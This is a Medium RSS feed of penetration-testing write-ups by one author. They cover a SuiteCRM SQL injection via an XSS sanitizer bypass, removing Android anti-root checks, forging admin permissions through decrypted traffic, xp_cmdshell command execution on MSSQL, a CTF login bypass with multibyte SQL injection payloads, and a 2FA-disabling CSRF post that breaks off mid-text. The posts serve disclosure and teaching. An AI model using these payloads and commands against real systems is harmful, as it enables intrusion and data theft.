<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ahmed Rabeaa Mosaa (SadC0d3r) on Medium]]></title>
        <description><![CDATA[Stories by Ahmed Rabeaa Mosaa (SadC0d3r) on Medium]]></description>
        <link>https://medium.com/@sadc0d3r?source=rss-cf727649f4af------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*f_jbIM9IKje2QyiRk8RJAw.jpeg</url>
            <title>Stories by Ahmed Rabeaa Mosaa (SadC0d3r) on Medium</title>
            <link>https://medium.com/@sadc0d3r?source=rss-cf727649f4af------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 08:49:32 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@sadc0d3r/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[SuiteCRM SQL Injection: Breaking an XSS-Oriented Input Sanitization Layer]]></title>
            <link>https://sadc0d3r.medium.com/suitecrm-sql-injection-breaking-an-xss-oriented-input-sanitization-layer-c9f02f032712?source=rss-cf727649f4af------2</link>
            <guid isPermaLink="false">https://medium.com/p/c9f02f032712</guid>
            <category><![CDATA[security-research]]></category>
            <category><![CDATA[pentester-labs]]></category>
            <category><![CDATA[code-review]]></category>
            <category><![CDATA[web-penetration-testing]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Ahmed Rabeaa Mosaa (SadC0d3r)]]></dc:creator>
            <pubDate>Mon, 21 Sep 2026 13:39:43 GMT</pubDate>
            <atom:updated>2026-10-13T05:28:19.761Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*xrFCrs2-JbN0H1gNRE7Jxg.jpeg" /></figure><h3>A Code Review and Vulnerability Research Journey</h3><p>As part of my security code-review practice, I wanted to analyze a real-world application with a relatively large attack surface, multiple user roles, and a history of publicly disclosed vulnerabilities.</p><p>I chose SuiteCRM because it is a mature, open-source CRM platform with a large PHP codebase and multiple modules, controllers, and user-controlled input paths.</p><p>During the review, I focused initially on SQL injection and, more specifically, on how SuiteCRM sanitizes user-controlled input before it reaches database queries.</p><p>What started as a straightforward review of SQL query construction eventually led me to an interesting input-validation issue involving an XSS-oriented sanitization layer.</p><p>SuiteCRM follows an MVC-oriented architecture. For the initial review, I focused on controllers and model/database interactions because these components provide useful entry points for tracing user-controlled input into SQL queries.</p><p>At first glance, several SQL query construction points appeared potentially interesting because user-controlled parameters seemed to reach query-building code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*f491gGKa_biTQEu7LB60Sw.png" /></figure><p>But actually not. I found the application passes any user input firstly into a utils file,</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*QPplCZSdX5JbhD3F5Mgrpw.png" /></figure><p>user input → utils → antiXSS → SQL</p><p>So this file contains multiple layers of filtration and sanitization, so I found the SQLi preventing using two main functions.At this stage, I did not identify an obvious bypass through the first validation layer, and the second one is interesting for me because in this function, it uses an XSS prevention library called antiXSS <a href="https://github.com/voku/anti-xss">(https://github.com/voku/anti-xss).</a></p><p>So how does an XSS prevention library prevent SQLi?</p><p>I’m digging into this function because it’s very interesting to me then i found the function it’s seems be secure</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*jAlaUFFWKrRqPG8Z5NIZKQ.png" /></figure><p>From this point i started the test</p><p>I first established a baseline by submitting a benign value (sad) and observing how it propagated through the application and into the generated query.</p><p>I then introduced a single quote (&#39;) as a minimal SQL metacharacter test. The application transformed or rejected the character, indicating that the input was being processed by the sanitization layer before reaching the query construction logic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*Jly6OWdhYcfqPwZzb6e8Bg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*ZqOWbEuPczQh9--uVVuNOw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hP60bumBNc2wWbD9ZQ0crQ.png" /></figure><p>I then introduced a single quote (&#39;) as a minimal SQL metacharacter test.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iMiGicsLn8iwHAZWSyZHNQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O_Qg-1Y96W4DwaK29imLzQ.png" /></figure><p>The same behavior was observed with other quote characters.</p><p>At this point, the initial filtering mechanism appeared to be working as expected.</p><p>However, this did not prove that the complete input-handling mechanism was safe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zlzhp8PNDUi12hIO6AdJ0A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sBl9gBH4HjesoU-LsmAhVg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*QPplCZSdX5JbhD3F5Mgrpw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jAlaUFFWKrRqPG8Z5NIZKQ.png" /></figure><p>I extracted the validation code into sperated file to test it</p><pre>&lt;?php<br>define(&#39;sugarEntry&#39;, true);<br>if (!defined(&#39;sugarEntry&#39;) || !sugarEntry) {<br>    die(&#39;Not A Valid Entry Point&#39;);<br>}<br>require_once __DIR__ . &#39;/../php_version.php&#39;;<br>require_once __DIR__ . &#39;/../include/SugarObjects/SugarConfig.php&#39;;<br>require_once __DIR__ . &#39;/../include/utils/security_utils.php&#39;;<br>require_once __DIR__ . &#39;/../vendor/autoload.php&#39;;<br>use voku\helper\AntiXSS;<br>function securexss($uncleanString)<br>{<br>    if (is_array($uncleanString)) {<br>        $new = [];<br>        foreach ($uncleanString as $key =&gt; $val) {<br>            $new[$key] = securexss($val);<br>        }<br><br>        return $new;<br>    }<br><br>    static $xss_cleanup = [<br>        &#39;&amp;quot;&#39; =&gt; &#39;&amp;#38;&#39;,<br>        &#39;&quot;&#39; =&gt; &#39;&amp;quot;&#39;,<br>        &quot;&#39;&quot; =&gt; &#39;&amp;#039;&#39;,<br>        &#39;&lt;&#39; =&gt; &#39;&amp;lt;&#39;,<br>        &#39;&gt;&#39; =&gt; &#39;&amp;gt;&#39;,<br>        &#39;`&#39; =&gt; &#39;&amp;#96;&#39;<br>    ];<br><br>    $uncleanString = preg_replace(array(&#39;/javascript:/i&#39;, &#39;/\0/&#39;, &#39;/javascript:/i&#39;),<br>        array(&#39;java script:&#39;, &#39;&#39;, &#39;java script:&#39;), (string) $uncleanString);<br><br>    $partialString = str_replace(array_keys($xss_cleanup), $xss_cleanup, $uncleanString);<br><br>    $antiXss = new AntiXSS();<br>    $antiXss-&gt;removeEvilAttributes([&#39;style&#39;, &#39;onerror&#39;]);<br><br>    return $antiXss-&gt;xss_clean($partialString);<br>}<br>echo securexss(&quot;sad&quot;) . &#39;<br>&#39;;</pre><p>And i read the library code from github so i noted that</p><p>One behavior caught my attention when the input contained the &lt; character.</p><p>The input was being processed according to HTML/XSS-oriented sanitization rules. As a result, the &lt; character could be transformed while other parts of the input remained unchanged.</p><p>I then tested whether an SQL expression could survive this transformation while incorporating a character sequence that triggered the HTML-oriented processing.</p><p>So if i put a regular SQLi payload and tied with “ — &lt; — “ the payload will bypass normally and the “&lt; “ will be encoded only.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*bO0Z1fzMl1ijTiUOJspDxw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qPhSb8JN9ZAkFVxjQauySg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Em7USK2-3z27Eoa7NFdKKw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ar0i6W0WCpliwjT0rjigbw.png" /></figure><p>When the SQLi payload contain — &lt; — the antixss lib decod all html encoded then encode &lt; only</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yk_7_AoUgrseyeNqIz8G9w.png" /></figure><p>The root cause was not simply insufficient character filtering. The deeper issue was the use of an XSS-oriented sanitization routine as part of an SQL input protection mechanism.</p><p>XSS and SQL injection are different classes of vulnerabilities and require context-specific defenses. Transformations that are useful for HTML output cannot be treated as a substitute for parameterized SQL queries or context-aware database escaping.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*tpnydMXJ4kQcG7gd" /></figure><p>By this bypass i greped all functions use this prevention techniques and i got more than 9 SQLi and there are the CVEs and waiting 5 to assign a CVE number</p><ul><li><a href="https://github.com/SuiteCRM/SuiteCRM/security/advisories/GHSA-22rh-qc6x-cvgw">Authenticated SQL Injection In action_get_end_date function</a></li><li><a href="https://github.com/SuiteCRM/SuiteCRM/security/advisories/GHSA-gcc4-hvpc-cgvv">Authenticated SQL Injection In Project Module</a></li><li><a href="https://github.com/SuiteCRM/SuiteCRM/security/advisories/GHSA-7cj5-pc2f-9xgv">Authenticated SQL Injection in get_end_date function in Project Controller</a></li><li><a href="https://github.com/SuiteCRM/SuiteCRM/security/advisories/GHSA-3mjp-45mc-3256">Authenticated SQL Injection In handleAttachments function</a></li><li><a href="https://github.com/SuiteCRM/SuiteCRM/security/advisories/GHSA-rc6r-hwhg-7pfg">Authenticated SQL Injection In Project Controller</a></li></ul><p>And the funny things this function is secure without using antiXSS library</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BkDy7tXcsj6dVU6JcOTUAg.png" /></figure><p>Sometimes, adding more security layers does not make an application more secure. When those layers are used outside their intended context, they can create new attack paths instead.</p><p>وفي الاخر حابب اقول</p><p>سُبْحَانَكَ لَا عِلْمَ لَنَا إِلَّا مَا عَلَّمْتَنَا إِنَّكَ أَنْتَ الْعَلِيمُ الْحَكِيمُ</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c9f02f032712" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bypass Jail Monkey]]></title>
            <link>https://sadc0d3r.medium.com/bypass-jail-monkey-cc82a79e0458?source=rss-cf727649f4af------2</link>
            <guid isPermaLink="false">https://medium.com/p/cc82a79e0458</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-test]]></category>
            <category><![CDATA[mobile-pentesting]]></category>
            <category><![CDATA[android]]></category>
            <dc:creator><![CDATA[Ahmed Rabeaa Mosaa (SadC0d3r)]]></dc:creator>
            <pubDate>Wed, 09 Jul 2025 18:25:56 GMT</pubDate>
            <atom:updated>2025-07-09T18:25:56.743Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi Hackers, I’m Ahmed, just a cybersecurity engineer.</p><p>Today I will explain how I could bypass Jail Monkey during an Android PT engagement using code tampering.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/0*9Yyth2jEWJt82XTD.jpg" /></figure><p>Firstly, the application is written in React Native. Secondly, I hate the Android pentest; I mainly perform the infrastructure PTs.</p><p>When I took the application, I used jadx to do some basic reverse engineering to see the functions and if there are any low-hanging fruits to get it, and then I noted the application doesn’t work in the emulator, and this is the first message:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/552/1*S1UjZy3HJd2JQ_FYZjeX6Q.png" /></figure><p>The application detects the emulator is rooted, and then to bypass this detection, I used Magisk and Zygisk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/1*IvYWVrsmQEwVZThmBakjTg.png" /></figure><p>Then I find a new exception: the application detects the developer mode is enabled; therefore, that means we could bypass the root detection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*KSS5LnIartJ0hgAlPRCuCA.png" /></figure><p>But how i can bypass this detection?</p><p>I searched a lot in Google to find a technique to bypass this detection, and I found some scripts, and when I tried to run one of these scripts, I noted the application had an anti-hooking mechanism, and Frida couldn’t spawn the application as shown in the image below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1LcirF4TeLi6eQoLRhHgLA.png" /></figure><p>At this moment I go back again to Jadx to go deeply into the source code, and then I find the application using a <a href="https://github.com/GantMan/jail-monkey">jail monkey </a>as a security solution.</p><p>I try to get script to bypass this solution from frida code share and i found some of scripts but doesn’t work because i can’t hook the application</p><p>I searched about this solution, and I got his repository from GitHub <a href="https://github.com/GantMan/jail-monkey">https://github.com/GantMan/jail-monkey</a>, and in the README page, I found the solution is to explain his functions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rxPmFnvlaZXuWQnGfUkQJQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vm6GTF9y4oLLCWYQDuU1HQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ym6K3gopTnE3Kue3ArLKkQ.png" /></figure><p>Then go to jadx to search for those functions, and I found them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F_2naAt20WngTVqOZdLzjA.png" /></figure><p>And these functions for anti hooking.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JcmunGDANjhI0UuIkj1xSA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CzgwgTxzJlrcqg921abMUQ.png" /></figure><p>Then I used the APKLab extension in VSCode to edit the assembly code (smali).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w_hAcVXBHq_QHrKpNSlfpA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*To5P7UGGVoJn-MhHh6vJPw.png" /></figure><p>I copied the code and went to my mate ChatGPT and told him to always make these functions return false, and it actually did that. Then I replaced all the old functions with the new functions that had been written by ChatGPT.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*agVa9xxT5YcxXlrXtEw2HA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*O3fIRgbrAbZl0LbRNUeJOg.png" /></figure><p>NOTE: I made this process on each function to disable all</p><p>Then recompiled the small code and reopened it in the JADX.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ELkaFG9RPI-7n2dChP6uGQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R_J2fa1z1urzFnopJQWAjA.png" /></figure><p>On the right is this original code, and on the left is the patched version.</p><p>Then, open it in the emulator. The application worked fine, and I could hook the application, and there is no security check, which means I took the shielded APK and made it unshielded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E6E6Rc0qFgoDOjim4a3alA.png" /></figure><p>And that’s it</p><p>وفي الاخر حابب اقول سُبۡحَٰنَكَ لَا عِلۡمَ لَنَآ إِلَّا مَا عَلَّمۡتَنَآۖ إِنَّكَ أَنتَ ٱلۡعَلِيمُ ٱلۡحَكِيمُ</p><h3>Thanks for reading.</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cc82a79e0458" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I was decrypting the traffic and getting from low privilege user to full admin access]]></title>
            <link>https://sadc0d3r.medium.com/how-i-was-decrypting-the-traffic-and-getting-from-low-privilege-user-to-full-admin-access-6a2f3b743ac5?source=rss-cf727649f4af------2</link>
            <guid isPermaLink="false">https://medium.com/p/6a2f3b743ac5</guid>
            <category><![CDATA[penetration-test]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[web-attack]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Ahmed Rabeaa Mosaa (SadC0d3r)]]></dc:creator>
            <pubDate>Sun, 22 Sep 2024 15:05:24 GMT</pubDate>
            <atom:updated>2024-09-22T15:05:24.669Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Hi Hackers My name is Ahmed Mosaa, Cyber Security Engineer, and this engagement has been done in </strong>government sector<strong>. In this article, I will explain how I got full privileges from a low privileges user after decrypting the traffic, and let’s start.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/394/1*eHkySvlwLnBzV5A_Z_3PuA.jpeg" /></figure><p>During the test and use burp as usual, I found that all information sent or received is encrypted, as shown.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*pLR-SVKIQdQUT56PH4EIlw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*z45omcrrewYJEhXKnQUWHg.png" /></figure><p>I can’t edit anything in a request or response, but how I wrote clear text, and it was converted to encrypted text before submitting it to the server. And when the browser received the encrypted data, the text was a clear text, so the encrypt and decrypt functions must be on the client side, and this is the big challenge to me because I have a lot of JS files and JS miners don’t get any useful things, so I decided to debug the JS code until I got the functions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/401/1*-YUGaCkYc1L3PdliZChMAA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/363/1*bwzQg1izNmCUHrKouZ3Yfw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/493/1*HNi9v0vsZ92dq0St-Q_6FA.png" /></figure><p>Very hard challenge, but after some digging in the JS code, I got the functions (Nice Catch).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*L4ZACW9tSENurhhC-YvWEg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/537/1*XhskF0sMbmVAcc28O4FQdw.png" /></figure><p>Great, then I wrote a PHP script to encrypt and decrypt because I don’t have enough time to write a burp extension.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9blg2tkBvB8dsG_vTvyM7A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iGca07rZNbmXDo8SN56ffw.png" /></figure><p>At this point I could decrypt the traffic and edit it, then re-encrypt again.</p><p>Now during the test, I have two accounts (admin, user). The admin could do some of the actions the normal user can’t do, like access users, edit their information, and delete any user and mush more, and to make sure the user doesn’t have those permissions, you can see the image below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*t7DDL5axbZ-jvfRA-LyKEA.png" /></figure><p>Nice. Now I will open the user account, and I will try to access the users section by adding /settings/users as like in the admin account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/329/1*QPrLTpRkhkHi152PLiIVvA.png" /></figure><p>Okay, when I was logging in to the application, I was found in the response permissions section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*z45omcrrewYJEhXKnQUWHg.png" /></figure><p>In the error message, I saw VIEWUSERS, so I take this key and encrypt it using the PHP script I created, and I add the encrypted value in the permissions section of the response, as shown in the image below:</p><p>VIEWUSERS: 5lAvsPK4kpc0+DFtVgMF0g==<br>DELETEUSERS: v8sxsDXjbhobTYTMFd2iWg==<br>EDITUSERS: hN+yoZycPmSRaPByAg3s8A==</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-ck1CPwncmRr-HGwW1pfxw.png" /></figure><p>And as you expected, I escalated my privilege and access to the users and could take any action I wanted on them.</p><p>This admin User.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PDcULEAgiyWF1dO15mZPug.png" /></figure><p>And this non admin user 😂</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TsJyGx1Xb06cXjisekNbBQ.png" /></figure><p>And during the test, I assigned all privileges to me.</p><p>And that’s it</p><p>وفي الاخر حابب اقول سُبۡحَٰنَكَ لَا عِلۡمَ لَنَآ إِلَّا مَا عَلَّمۡتَنَآۖ إِنَّكَ أَنتَ ٱلۡعَلِيمُ ٱلۡحَكِيمُ</p><h3>Thanks for reading.</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6a2f3b743ac5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How did I gain RCE and dump the database from the exploit desktop application?]]></title>
            <link>https://sadc0d3r.medium.com/how-did-i-gain-rce-and-dump-the-database-from-the-exploit-desktop-application-91d96574d8e7?source=rss-cf727649f4af------2</link>
            <guid isPermaLink="false">https://medium.com/p/91d96574d8e7</guid>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Ahmed Rabeaa Mosaa (SadC0d3r)]]></dc:creator>
            <pubDate>Tue, 30 Apr 2024 18:41:54 GMT</pubDate>
            <atom:updated>2024-04-30T18:41:54.895Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Hi Hackers My name is Ahmed Mosaa, Senior Cyber Security Engineer, and this engagement has been done at one of the biggest financial institutions in my country. In this article, I will explain how I got full DB access and then got RCE on the DB server. So give me your concentration, and let’s start.</strong></p><figure><img alt="SadC0d3r" src="https://cdn-images-1.medium.com/max/408/1*sn43KpepBowPIA04IvQdNw.jpeg" /></figure><p>It was a normal thick client application (desktop) penetration test engagement, and I used my methodology for this kind of pentesting.</p><p>So at first, I tried to reverse the application, and luckily the application is written in C#, so it was easy to get the source code of the application using the dnSpy tool. and this is a small snippet of code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s35IwK18bCCsSM0Ihjx-dw.png" /></figure><p>Then, after a deep analysis of the source code, I found the application uses the database to make users login or perform other actions.</p><p>Okay, how does the application authenticate to the database?</p><p>To answer this question, I should have analyzed the code more until I found the application was calling file in the installation path contained configurations, and between those configurations, I found the DB credentials, as shown in the image below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*70Jv1FDDsSreI0NPz7lq-g.png" /></figure><p>Nice now let try this credentials to open the DB using Microsoft sql server management studio</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*jE0ngk7_0_gug9pOTOWGaw.png" /></figure><p>Awesome, we logged in to the to the DB server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*20egU5GlDjMe6k4XV6yiBA.png" /></figure><p>Let’s dump some tables as PoC.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wEAAUEstUXS57cJiZcMVJQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_tH3WJxbWfaZxeB-xY9KFQ.png" /></figure><p>Until now, we have done well, but is this the end?</p><p>Of course not. This DBMS is an MSSQL server, so this DBMS has some juicy procedures. like xp_cmdshell, this procedure allows the user to execute commands on the OS, like cmd.</p><p>So let’s check if this procedure is enabled or not. (Be noted: this procedure is disabled by default, and to enable it, you must have a SA account.)</p><p>I will use this query to check the availability of this function.</p><pre>SELECT * FROM sys.configurations WHERE name = &#39;xp_cmdshell&#39;</pre><p>I found it enabled, as shown in the image below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zLLYQPgcBRni38nd3mPncQ.png" /></figure><p>Let’s try to execute simple commands.</p><pre>exec master..xp_cmdshell &#39;powershell -c whoami&#39;<br>exec master..xp_cmdshell &#39;powershell -c whoami /priv&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*JmxoC2N-WkFUOiyFy7l5Yw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*cFeDE_ad8tbXSFK3R3QRUw.png" /></figure><p>And finally, get a reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TvRxNZvkjSBR71lmkbWSfg.png" /></figure><p>I tried to get <strong><em>NT AUTHORITY\SYSTEM </em></strong>from the service account using <a href="https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/juicypotato">the JuicyPotato</a> exploit,but I couldn’t</p><p>And that’s it</p><p>وفي الاخر حابب اقول سُبۡحَٰنَكَ لَا عِلۡمَ لَنَآ إِلَّا مَا عَلَّمۡتَنَآۖ إِنَّكَ أَنتَ ٱلۡعَلِيمُ ٱلۡحَكِيمُ</p><h3>Thanks for reading.</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=91d96574d8e7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SadQL]]></title>
            <link>https://sadc0d3r.medium.com/sadql-d61e77734c92?source=rss-cf727649f4af------2</link>
            <guid isPermaLink="false">https://medium.com/p/d61e77734c92</guid>
            <category><![CDATA[cyberattack]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Ahmed Rabeaa Mosaa (SadC0d3r)]]></dc:creator>
            <pubDate>Sat, 05 Aug 2023 13:03:06 GMT</pubDate>
            <atom:updated>2023-08-05T13:03:06.436Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="http://34.18.16.17/sadql/">Login Page</a></p><p>Hi hackers My Name is Mosaa author sadql challenge</p><p>Challenge is Medium with 600 points</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nHqm4Vf3H_8mGTmtsblGQw.png" /></figure><p>First i will try write any username and password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*HZDATFjyj8C9j3s2ed7d-Q.png" /></figure><p>And the server is responce a error</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*dxItvlzcwUBvnO-YuVV-vQ.png" /></figure><p>When i added a &#39; or &quot; the server response same previous response</p><p>I tried several query and also doesn’t get anything so i will try force the server to get error</p><p>Then in will change the email parameter from normal parameter to arrary</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LU46_XR8eewlEDfzTAY4Jw.png" /></figure><p>Great i get the email parameter is pass in addslashes function then i will searche to get bypass for this function</p><p>T found the article <a href="https://www.openbugbounty.org/blog/_r00t1ng_/bypass-addslashes-using-multibyte-character/">https://www.openbugbounty.org/blog/_r00t1ng_/bypass-addslashes-using-multibyte-character/</a></p><p>And now il will try to bypass the login</p><p>Now after use the technique i found in the previous article i get a sql error</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dT_6ke07AYdGdsjUQRqqFA.png" /></figure><p>Let’s write a payload to bypass the login %bf%5c&#39;+OR+1=1#</p><p>But i found the spaces and or was deleted</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fsIAfrY5jRMZrCqayUbOkQ.png" /></figure><p>I will try %bf%5c&#39;/**/||/**/1=1# but still have error</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-Ydv5LJQ85OAssEPJVF0pQ.png" /></figure><p>Okay let me put this payload %bf%5c&#39;/**/oorr/**/1=1# or %bf%5c&#39;/**/o+r/**/1=1# and done those working</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gyIisFtOTI46SKspeL4DaA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3061rwsQb1ep7QQIUBwFxg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d61e77734c92" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[2FA Bypass due to unauthorized 2FA disabling via X/CSRF]]></title>
            <link>https://sadc0d3r.medium.com/2fa-bypass-due-to-unauthorized-2fa-disabling-via-x-csrf-2ddc167f2d2a?source=rss-cf727649f4af------2</link>
            <guid isPermaLink="false">https://medium.com/p/2ddc167f2d2a</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Ahmed Rabeaa Mosaa (SadC0d3r)]]></dc:creator>
            <pubDate>Fri, 03 Jun 2022 03:41:05 GMT</pubDate>
            <atom:updated>2022-06-03T18:48:25.302Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Product Info</strong></p><ul><li><strong>Vendor:</strong> Marval Software Ltd.</li><li><strong>Product:</strong> Marval MSM</li><li><strong>Version:</strong> v14.19.0.12476</li><li><strong>Vulnerability:</strong> 2FA Bypass</li></ul><p>Hi guys hope doing well</p><p>In this article i will share scenario faced me in penetration testing engagement how i bypassed 2FA</p><p>So let’s start</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f_jbIM9IKje2QyiRk8RJAw.jpeg" /></figure><p><strong>What is the 2FA?</strong><br>The 2FA (two factor authentication) bypass is a misconfiguration allows the attacker to bypass the validation workflow of the 2FA which will lead to to getting unauthorized access to the user’s account. This application is vulnerable to X/CSRF (Cross-site request forgery), CSRF is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform. It allows an attacker to partly circumvent the same origin policy, which is designed to prevent different websites from interfering with each other. The action can be performed by exploiting this vulnerability in our case here is disabling the 2FA, this means if the attacker have the user’s credentials he can access the account without interacting with the 2FA as well.</p><p>In first h have 2 account with the same privilege</p><p>During the test i found the app have csrf token for editing profile info only but didn’t send CSRF token when you want disable 2FA</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*urRo5rAhBnlOGqHWmdPRnA.png" /><figcaption>Marval MSM</figcaption></figure><p>Ok, the scenario is if attacker get the username/password by any way for any account and the account owner has Enabled 2FA <br>the attacker can easily force the user to disable 2FA with out his know and use 